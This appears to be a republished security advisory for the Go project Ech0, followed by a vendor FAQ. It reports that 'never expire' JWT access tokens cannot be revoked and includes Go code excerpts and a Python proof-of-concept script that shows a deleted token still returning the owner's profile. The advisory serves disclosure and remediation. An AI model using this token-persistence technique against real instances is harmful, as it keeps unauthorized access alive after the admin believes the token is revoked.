GHSA-FPW6-HRG5-Q5X5

Access tokens created with the "never expire" option have no exp JWT claim. Three independent revocation mechanisms fail for this token type. Logout at internal/handler/auth/auth.go:154 and :163 dereferences claims.ExpiresAt.Time, panicking on the nil field so the token never hits the blacklist. RevokeToken at internal/repository/auth/auth.go:45-50 skips when remainTTL <= 0. The admin's "Delete token" panel action at internal/service/setting/access_token_service.go:183-185 removes the database record but does not call RevokeToken to blacklist the JTI. Once a never-expire token leaks, the JWT stays cryptographically valid until the admin rotates the signing key across the entire instance.

Details

Creation path at internal/util/jwt/jwt.go:103-105:

// expiry = 0 表示永不过期
if expiry > 0 {
    claims.ExpiresAt = jwt.NewNumericDate(time.Now().UTC().Add(time.Duration(expiry) * time.Second))
}

For NEVER_EXPIRY, expiry = 0 and the conditional skips. The resulting JWT has no exp claim. The middleware at internal/middleware/auth.go accepts it; the jwt/v5 parser does not require exp by default.

Failure mode 1, logout panic at internal/handler/auth/auth.go:163:

// Refresh-token revocation at line 154 (safe in practice: refresh tokens always have exp).
// Access-token revocation, same pattern, at line 163 (the bug):
if claims, err := jwtUtil.ParseToken(authHeader[7:]); err == nil && claims.ID != "" {
    remaining := time.Until(claims.ExpiresAt.Time)  // nil deref when ExpiresAt is nil
    h.authService.RevokeToken(claims.ID, remaining)
}

For a never-expire access token, claims.ExpiresAt is nil. claims.ExpiresAt.Time panics. Gin's Recovery middleware catches it and returns HTTP 500; the JTI never reaches RevokeToken. Line 154 shares the same pattern against refresh tokens, but refresh tokens are always issued with an expiry so the nil dereference does not fire there in practice.

Failure mode 2, RevokeToken skip at internal/repository/auth/auth.go:45-50:

func (authRepository *AuthRepository) RevokeToken(jti string, remainTTL time.Duration) {
    if jti == "" || remainTTL <= 0 {
        return
    }
    authRepository.cache.SetWithTTL(fmt.Sprintf("%s%s", blacklistPrefix, jti), true, 1, remainTTL)
}

Even if the logout path were patched to handle nil ExpiresAt, a caller computing remainTTL = 0 would still skip the blacklist write.

Failure mode 3, admin delete at internal/service/setting/access_token_service.go:183-185:

return settingService.transactor.Run(ctx, func(txCtx context.Context) error {
    return settingService.settingRepository.DeleteAccessTokenByID(txCtx, id)
})

Deletion removes the token's metadata row from the database. No call to RevokeToken, no write to the JTI blacklist. The JWT continues to validate because the signature is still authentic and the middleware does not consult the metadata table.

The only way to invalidate a compromised never-expire token is to rotate JWT_SECRET, which invalidates every token for every user across the whole instance.

Proof of Concept

Default install. Admin creates a never-expire access token; its revocation pathways all fail:

import requests, base64, json
TARGET = "http://localhost:8300"

owner = requests.post(f"{TARGET}/api/login",
                      json={"username": "owner", "password": "owner-pw"}
                     ).json()["data"]["access_token"]

# 1) Create a never-expire access token.
r = requests.post(f"{TARGET}/api/access-tokens",
                  headers={"Authorization": f"Bearer {owner}",
                           "content-type": "application/json"},
                  json={"name": "poc-irrevocable",
                        "expiry": "never",
                        "scopes": ["profile:read"],
                        "audience": "cli"})
tok = r.json()["data"]
pad = lambda s: s + "=" * (-len(s) % 4)
payload = json.loads(base64.urlsafe_b64decode(pad(tok.split(".")[1])))
print(f"  exp claim: {payload.get('exp')}  (None = never expires)")
print(f"  jti: {payload['jti']}")

# 2) Confirm it works.
r = requests.get(f"{TARGET}/api/user", headers={"Authorization": f"Bearer {tok}"})
print(f"  token -> /api/user: HTTP {r.status_code}")

# 3) Failure mode #1, logout panics on nil ExpiresAt.
r = requests.post(f"{TARGET}/api/auth/logout",
                  headers={"Authorization": f"Bearer {tok}"})
print(f"  logout: HTTP {r.status_code} (500 = Recovery middleware caught the panic)")

# 4) Failure mode #3, admin delete does not blacklist the JTI.
listed = requests.get(f"{TARGET}/api/access-tokens",
                      headers={"Authorization": f"Bearer {owner}"}).json()["data"]
poc_row = next(t for t in listed if t["name"] == "poc-irrevocable")
r = requests.delete(f"{TARGET}/api/access-tokens/{poc_row['id']}",
                    headers={"Authorization": f"Bearer {owner}"})
print(f"  admin delete: HTTP {r.status_code} {r.text}")

# 5) Token should now be invalid if delete blacklisted. Test it.
r = requests.get(f"{TARGET}/api/user", headers={"Authorization": f"Bearer {tok}"})
print(f"  after delete, token -> /api/user: HTTP {r.status_code}")
print(f"  response body: {r.text[:150]}")

Observed on v4.5.6 in the test container:

exp claim: None  (None = never expires)
jti: 019daf86-6354-7c2d-9ff1-180de87667b3
token -> /api/user: HTTP 200
logout: HTTP 500 (500 = Recovery middleware caught the panic)
admin delete: HTTP 200 {"code":1,"msg":"删除访问令牌成功","data":null}
after delete, token -> /api/user: HTTP 200
response body: {"code":1,"msg":"获取用户信息成功","data":{"id":"019daf76-b5d2-7778-a90a-e943872b2946","username":"owner","email":"[email protected]","is_admin":true,"is_owner":true,...}}

After the admin "deleted" the token, the same JWT string still returns the owner's profile data. The token stays valid with no path to invalidate it short of rotating JWT_SECRET.

The "never expire" option is intended for CLI and integration use cases where rotating tokens is expensive. When one of those tokens leaks (configuration file committed to a public repo, developer laptop compromised, log file uploaded by mistake), the admin has no remediation that does not nuke every other user's session.

A compromised token gives the attacker:

• Perpetual authenticated access at whatever scopes the token holds until the JWT secret is rotated.
• Admin's "revoke" UI button lies. The token row disappears from the panel but the bearer keeps working. The admin believes they mitigated the incident.
• Instance-wide blast radius on proper revocation. The only working fix (rotate JWT_SECRET) forces every user to log in again and invalidates every other access token. Security incidents force operators into an all-or-nothing choice.

Precondition: token theft. A stolen token is the standard threat model for any long-lived credential; the point of revocation is that stolen credentials can be invalidated. Ech0 currently has no working path to do that for the "never expire" class.

GHSA-FPW6-HRG5-Q5X5 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.8-0.20260503041146-eab62379c795); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-FPW6-HRG5-Q5X5? GHSA-FPW6-HRG5-Q5X5 is a high-severity security vulnerability in github.com/lin-snow/Ech0 (go), affecting versions < 1.4.8-0.20260503041146-eab62379c795. It is fixed in 1.4.8-0.20260503041146-eab62379c795.
2. How severe is GHSA-FPW6-HRG5-Q5X5? GHSA-FPW6-HRG5-Q5X5 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/lin-snow/Ech0 are affected by GHSA-FPW6-HRG5-Q5X5? github.com/lin-snow/Ech0 (go) versions < 1.4.8-0.20260503041146-eab62379c795 is affected.
4. Is there a fix for GHSA-FPW6-HRG5-Q5X5? Yes. GHSA-FPW6-HRG5-Q5X5 is fixed in 1.4.8-0.20260503041146-eab62379c795. Upgrade to this version or later.
5. Is GHSA-FPW6-HRG5-Q5X5 exploitable, and should I be worried? Whether GHSA-FPW6-HRG5-Q5X5 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-FPW6-HRG5-Q5X5 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-FPW6-HRG5-Q5X5? Upgrade github.com/lin-snow/Ech0 to 1.4.8-0.20260503041146-eab62379c795 or later.